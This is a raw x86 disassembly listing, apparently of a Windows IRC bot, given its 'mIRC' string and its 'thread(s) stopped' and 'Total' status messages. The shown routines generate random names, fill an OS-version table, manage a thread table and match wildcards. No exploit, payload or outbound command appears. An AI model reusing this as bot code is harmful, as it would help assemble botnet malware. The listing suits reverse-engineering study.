		movsx	eax, byte_431948
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AE0A:				; CODE XREF: ___:0040AE15j
		cmp	eax, ecx
		jnz	short loc_40AE11
		mov	[ebp-4], edx


loc_40AE11:				; CODE XREF: ___:0040AE0Cj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE0A
		push	61h
		pop	ecx


loc_40AE1A:				; CODE XREF: ___:0040AE25j
		cmp	eax, ecx
		jnz	short loc_40AE21
		mov	[ebp-4], edx


loc_40AE21:				; CODE XREF: ___:0040AE1Cj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE1A
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE66


loc_40AE40:				; CODE XREF: ___:0040AE64j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB64
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE40


loc_40AE66:				; CODE XREF: ___:0040AE3Ej
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 26A0871h
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	near ptr 26E0000h
		nop
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_43194C
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDB


loc_40AEB5:				; CODE XREF: ___:0040AED9j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB64
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB5


loc_40AEDB:				; CODE XREF: ___:0040AEB3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_43D808
		mov	dword ptr [ebp-94h], 94h
		call	near ptr 26E05D0h
		nop
		nop
		call	near ptr 26A0871h
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF65
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF45
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF35
		mov	esi, offset dword_431974


loc_40AF35:				; CODE XREF: ___:0040AF2Ej
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA1
		mov	esi, offset dword_431970
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF45:				; CODE XREF: ___:0040AF25j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF55
		mov	esi, offset dword_43196C
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF55:				; CODE XREF: ___:0040AF4Cj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9C
		mov	esi, offset dword_431968
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF65:				; CODE XREF: ___:0040AF1Cj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9C
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7E
		mov	esi, offset dword_431964
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF7E:				; CODE XREF: ___:0040AF75j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8E
		mov	esi, offset dword_431960
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF8E:				; CODE XREF: ___:0040AF85j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_43195C
		jz	short loc_40AFA1


loc_40AF9C:				; CODE XREF: ___:0040AF5Cj
					; ___:0040AF6Cj
		mov	esi, offset dword_431958


loc_40AFA1:				; CODE XREF: ___:0040AF3Cj
					; ___:0040AF43j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_431950
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE5


loc_40AFBF:				; CODE XREF: ___:0040AFE3j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB64
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBF


loc_40AFE5:				; CODE XREF: ___:0040AFBDj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFEB	proc near		; CODE XREF: sub_40B08E+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 26A0871h
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B03A
		call	dword_4CB660
		test	eax, eax
		mov	eax, offset dword_431980
		jnz	short loc_40B023
		mov	eax, offset dword_43D808


loc_40B023:				; CODE XREF: sub_40AFEB+31j
		push	eax
		push	esi
		push	offset dword_431978
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40B05A
; ---------------------------------------------------------------------------


loc_40B03A:				; CODE XREF: sub_40AFEB+22j
		call	dword_4CB660
		test	eax, eax
		mov	eax, offset dword_431980
		jnz	short loc_40B04E
		mov	eax, offset dword_43D808


loc_40B04E:				; CODE XREF: sub_40AFEB+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40B05A:				; CODE XREF: sub_40AFEB+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AFE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B089
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C1E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 18h


loc_40B089:				; CODE XREF: sub_40AFEB+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B08E	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42DC84


loc_40B09A:				; CODE XREF: sub_40B08E+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40B0B5
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C070
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BF
; ---------------------------------------------------------------------------


loc_40B0B5:				; CODE XREF: sub_40B08E+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40B0BF:				; CODE XREF: sub_40B08E+25j
		test	eax, eax
		jnz	short loc_40B0D1
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42DCFC
		jb	short loc_40B09A
		jmp	short loc_40B0DF
; ---------------------------------------------------------------------------


loc_40B0D1:				; CODE XREF: sub_40B08E+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42DC88[eax*4]
		pop	ecx


loc_40B0DF:				; CODE XREF: sub_40B08E+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F2
		push	[ebp+arg_0]
		call	sub_40AFEB
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B0F2:				; CODE XREF: sub_40B08E+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B08E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0F7	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43E390


loc_40B0FF:				; CODE XREF: sub_40B0F7+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B113
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CB390
		jl	short loc_40B0FF
		jmp	short loc_40B15E
; ---------------------------------------------------------------------------


loc_40B113:				; CODE XREF: sub_40B0F7+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43E390[esi]
		push	eax
		call	sub_41B5F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43E590[esi], eax
		and	dword_43E594[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43E598[esi], 0
		mov	dword_43E59C[esi], eax
		and	byte_43E5A8[esi], 0
		pop	esi


loc_40B15E:				; CODE XREF: sub_40B0F7+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F7	endp

; ---------------------------------------------------------------------------
word_40B162	dw 8B55h		; DATA XREF: sub_401ACD+298Ao
		dd 98EC81ECh, 8B000000h, 57560845h, 8B59266Ah, 68BD8DF0h
		dd 0F3FFFFFFh, 0F075FFA5h, 9480C7h, 10000h, 858D0000h
		dd 0FFFFFF6Ch, 50F475FFh, 0FF68B5FFh, 15E8FFFFh, 0FF000000h
		dd 6CE8EC75h, 83000002h, 6A14C4h, 4E4EE890h, 5E5F022Eh
		dd 81EC8B55h, 200ECh, 6A575600h, 1075FF00h, 431A8068h
		dd 0C75FF00h, 0E80875FFh, 0FFFFE89Fh, 3314C483h, 0E390BEFFh
		dd 3E800043h, 833C7400h, 7500147Dh, 4BE8309h, 2, 57562D75h
		dd 0FE00858Dh, 8C68FFFFh, 500042C8h, 10681E8h, 8D016A00h
		dd 0FFFE0085h, 1075FFFFh, 0C75FF50h, 0E80875FFh, 0FFFFE857h
		dd 8124C483h, 234C6h, 0FE814700h, 4CB390h, 5E5FB07Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B232	proc near		; CODE XREF: sub_401ACD+7BA5p
					; sub_40B2C0+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2BA
		cmp	esi, 400h
		jge	short loc_40B2BA
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43E5A4[esi]
		lea	edi, dword_43E5A4[esi]
		nop
		call	near ptr 26A0949h
		cmp	[edi], ebx
		jz	short loc_40B26A
		push	1
		pop	ebp


loc_40B26A:				; CODE XREF: sub_40B232+33j
		mov	[edi], ebx
		lea	edi, dword_43E598[esi]
		mov	dword_43E590[esi], ebx
		mov	dword_43E594[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28B
		push	eax
		call	sub_4199CA
		pop	ecx


loc_40B28B:				; CODE XREF: sub_40B232+50j
		mov	[edi], ebx
		lea	edi, dword_43E59C[esi]
		mov	byte ptr dword_43E390[esi], bl
		mov	byte_43E5A8[esi], bl
		push	dword ptr [edi]
		call	dword_4CB6EC
		lea	esi, dword_43E5A0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CB6EC
		mov	[esi], ebx
		pop	edi


loc_40B2BA:				; CODE XREF: sub_40B232+Dj
					; sub_40B232+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B232	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2C0	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43E390


loc_40B2CC:				; CODE XREF: sub_40B2C0+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DD
		push	edi
		call	sub_40B232
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DD
		inc	ebx


loc_40B2DD:				; CODE XREF: sub_40B2C0+Fj
					; sub_40B2C0+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB390
		jl	short loc_40B2CC
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F2	proc near		; CODE XREF: sub_401ACD+418Fp
					; sub_401ACD+42E1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43E594


loc_40B306:				; CODE XREF: sub_40B2F2+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B328
		test	edi, edi
		jle	short loc_40B31A
		cmp	[esi], edi
		jz	short loc_40B31A
		cmp	ebx, edi
		jnz	short loc_40B328


loc_40B31A:				; CODE XREF: sub_40B2F2+1Ej
					; sub_40B2F2+22j
		push	ebx
		call	sub_40B232
		test	eax, eax
		pop	ecx
		jz	short loc_40B328
		inc	[ebp+var_4]


loc_40B328:				; CODE XREF: sub_40B2F2+1Aj
					; sub_40B2F2+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CB594
		jl	short loc_40B306
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33F	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43E590


loc_40B346:				; CODE XREF: sub_40B33F+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34F
		inc	eax


loc_40B34F:				; CODE XREF: sub_40B33F+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CB590
		jl	short loc_40B346
		retn
sub_40B33F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35E	proc near		; CODE XREF: sub_401ACD+2434p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43E590


loc_40B368:				; CODE XREF: sub_40B35E+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B381
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CB590
		jl	short loc_40B368
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B381:				; CODE XREF: sub_40B35E+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B385	proc near		; CODE XREF: sub_401ACD+1067p
					; sub_401ACD+126Dp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B39E
		push	[ebp+arg_1C]
		call	sub_41B779
		pop	ecx


loc_40B39E:				; CODE XREF: sub_40B385+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F2
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3CA
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40B3E4
; ---------------------------------------------------------------------------


loc_40B3CA:				; CODE XREF: sub_40B385+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40B3E4:				; CODE XREF: sub_40B385+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B404
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_40B404:				; CODE XREF: sub_40B385+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		pop	ecx
		leave
		retn
sub_40B385	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B413	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BA48p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43E5A4[eax], ecx
		mov	dword_43E590[eax], ecx
		mov	dword_43E594[eax], ecx
		mov	dword_43E598[eax], ecx
		mov	dword_43E59C[eax], ecx
		mov	dword_43E5A0[eax], ecx
		mov	byte ptr dword_43E390[eax], cl
		mov	byte_43E5A8[eax], cl
		retn
sub_40B413	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B450	proc near		; CODE XREF: sub_401ACD+7E3Cp
					; sub_40B57E+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B45A:				; CODE XREF: sub_40B450+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4BA
		cmp	eax, 1
		jnz	short loc_40B4BA
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4BA
		cmp	cl, 2Ah
		jz	short loc_40B4A1
		cmp	cl, 3Fh
		jz	short loc_40B484
		cmp	cl, 5Bh
		jz	short loc_40B489
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B484:				; CODE XREF: sub_40B450+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B4
; ---------------------------------------------------------------------------


loc_40B489:				; CODE XREF: sub_40B450+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E6
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B4
; ---------------------------------------------------------------------------


loc_40B4A1:				; CODE XREF: sub_40B450+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57E
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B4B4:				; CODE XREF: sub_40B450+37j
					; sub_40B450+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B45A
; ---------------------------------------------------------------------------


loc_40B4BA:				; CODE XREF: sub_40B450+Ej
					; sub_40B450+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4CA
		cmp	eax, 1
		jnz	short loc_40B4E1
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4BA
; ---------------------------------------------------------------------------


loc_40B4CA:				; CODE XREF: sub_40B450+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E1
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E1
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E1
		push	1
		pop	eax
		jmp	short loc_40B4E3
; ---------------------------------------------------------------------------


loc_40B4E1:				; CODE XREF: sub_40B450+72j
					; sub_40B450+7Dj ...
		xor	eax, eax


loc_40B4E3:				; CODE XREF: sub_40B450+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B450	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E6	proc near		; CODE XREF: sub_40B450+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B507
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B507:				; CODE XREF: sub_40B4E6+19j
		push	ebx
		push	esi


loc_40B509:				; CODE XREF: sub_40B4E6+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B517
		cmp	[ebp+var_4], eax
		jnz	short loc_40B563


loc_40B517:				; CODE XREF: sub_40B4E6+2Aj
		test	edi, edi
		jnz	short loc_40B558
		cmp	bl, 2Dh
		jnz	short loc_40B54C
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54C
		cmp	al, 5Dh
		jz	short loc_40B54C
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54C
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B558
		cmp	bl, al
		jg	short loc_40B558
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B558
; ---------------------------------------------------------------------------


loc_40B54C:				; CODE XREF: sub_40B4E6+38j
					; sub_40B4E6+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B558
		push	1
		pop	edi


loc_40B558:				; CODE XREF: sub_40B4E6+33j
					; sub_40B4E6+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B509
; ---------------------------------------------------------------------------


loc_40B563:				; CODE XREF: sub_40B4E6+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B570
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B570:				; CODE XREF: sub_40B4E6+82j
		cmp	edi, eax
		jnz	short loc_40B579
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B579:				; CODE XREF: sub_40B4E6+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57E	proc near		; CODE XREF: sub_40B450+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B59A:				; CODE XREF: sub_40B57E+3Aj
		cmp	[eax], bl
		jz	short loc_40B5BA
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AF
		cmp	cl, 2Ah
		jnz	short loc_40B5BA
		cmp	cl, 3Fh
		jnz	short loc_40B5B2


loc_40B5AF:				; CODE XREF: sub_40B57E+25j
		inc	eax
		mov	[edi], eax


loc_40B5B2:				; CODE XREF: sub_40B57E+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B59A
; ---------------------------------------------------------------------------


loc_40B5BA:				; CODE XREF: sub_40B57E+1Ej
					; sub_40B57E+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C5
		inc	dword ptr [esi]
		jmp	short loc_40B5BA
; ---------------------------------------------------------------------------


loc_40B5C5:				; CODE XREF: sub_40B57E+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E6
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D7
		xor	eax, eax
		jmp	short loc_40B646
; ---------------------------------------------------------------------------


loc_40B5D7:				; CODE XREF: sub_40B57E+53j
		cmp	cl, bl
		jnz	short loc_40B5E6
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E6
		push	1
		pop	eax
		jmp	short loc_40B646
; ---------------------------------------------------------------------------


loc_40B5E6:				; CODE XREF: sub_40B57E+4Dj
					; sub_40B57E+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B450
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B630


loc_40B5F4:				; CODE XREF: sub_40B57E+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B5F8:				; CODE XREF: sub_40B57E+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B610
		cmp	cl, 5Bh
		jz	short loc_40B610
		cmp	dl, bl
		jz	short loc_40B610
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F8
; ---------------------------------------------------------------------------


loc_40B610:				; CODE XREF: sub_40B57E+82j
					; sub_40B57E+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B627
		push	eax
		push	dword ptr [esi]
		call	sub_40B450
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62C
; ---------------------------------------------------------------------------


loc_40B627:				; CODE XREF: sub_40B57E+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B62C:				; CODE XREF: sub_40B57E+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F4


loc_40B630:				; CODE XREF: sub_40B57E+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B643
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B643
		mov	[ebp+var_4], 1


loc_40B643:				; CODE XREF: sub_40B57E+B6j
					; sub_40B57E+BCj
		mov	eax, [ebp+var_4]


loc_40B646:				; CODE XREF: sub_40B57E+57j
					; sub_40B57E+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64B	proc near		; CODE XREF: sub_401ACD+2AF6p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_431E9C
		push	eax
		xor	ebx, ebx
		call	sub_41B886
		cmp	dword_431B00, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BD
		push	esi
		mov	esi, offset dword_431B08


loc_40B67E:				; CODE XREF: sub_40B64B+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B3
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431E90
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		add	esp, 1Ch


loc_40B6B3:				; CODE XREF: sub_40B64B+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67E
		pop	esi


loc_40B6BD:				; CODE XREF: sub_40B64B+2Bj
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B64B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B71A	proc near		; CODE XREF: sub_401ACD+2AE0p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CE160
		mov	ecx, dword_4CE15C
		push	esi
		push	dword_4CB394
		lea	esi, [ecx+eax]
		call	sub_41A88C
		pop	ecx
		push	eax
		push	esi
		push	dword_4CE160
		lea	eax, [ebp+var_200]
		push	dword_4CE15C
		push	offset unk_431EBC
		push	eax
		call	sub_41B886
